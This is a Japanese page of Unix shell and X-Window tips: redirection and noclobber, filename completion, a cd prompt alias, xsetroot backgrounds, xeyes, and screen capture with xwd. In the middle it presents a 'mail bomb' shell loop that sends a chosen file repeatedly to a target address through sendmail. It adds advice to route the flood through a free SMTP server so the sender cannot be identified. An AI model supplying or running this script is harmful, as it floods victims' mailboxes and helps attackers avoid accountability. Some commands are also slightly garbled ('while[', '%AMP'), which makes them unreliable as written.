Unix 小技集
シェル編
リダイレクション
% cat < a >> a
ファイルが消えません。
(csh, tcsh)
% set noclobber
(bash)
% set -o noclobber
(zsh)
% setopt noclobber
こうすると
% cat < a > a
とやってもファイルが消えません。注意書がでます。
(sh系)
% command1 2>&1 | command2
標準エラーもパイプします。
ファイル名補完
(csh)
% set filec
ESCで補完できる。
ディレクトリ名にスペースを入れる
% mkdir abc\ d
% ls
abc d
% mkdir "abcd e"
% ls
abc d abcd e
MS−DOSの様にカレントディレクトリを表示
% alias cd 'cd \!*; set prompt = "[`hostname -s`] $cwd\% "'
次から cd を使うと表示される。
% cd ~
[aho] usr/home/kwu/
メールボム
n=$1
j=0
while[ "$j" -lt $n ]
do
cat $3 | sendmail $2
j=`expr $j + 1`
done
% mailbomb [メッセージ数] [送り先のアドレス] [送るメールのファイル]
※身元はばれます。フリーの SMTP サーバでも見つけて書き換えましょう。
X-Window編
背景の色を変える
% xsetroot -solid [色の名前 or #色番号]
背景を青にするには
% xsetroot -solid blue
色の名前がわからないときは
% xsetroot -solid #0000FF
色の名前は rgb.txt というファイルに書いてある。
背景にグラフィックを張る
% xv -root -quit [グラフィック名]
目だまを出す
% xeyes %AMP
X のロゴを出す
% xlogo &
Emacs(Mule)をコンソールモードで起動する
% mule -nw
尚、Emacs を使ったことが無い人はコンソールモードで起動は止めたほう
がいいと思われます。
指定したウィンドウを取り込む
% xwd > [ファイル名].xwd
これでは起動した途端に取り込むので3秒後に取り込むようにする。
% sleep 3 ; xwd > [ファイル名].xwd
マウスカーソルが変化したら取り込むウィンドウ位置を決定。画面全体を取り込むならルートウィンドウ(背景)を設定する。取り込んだ後は xv で違う形式にコンバートする。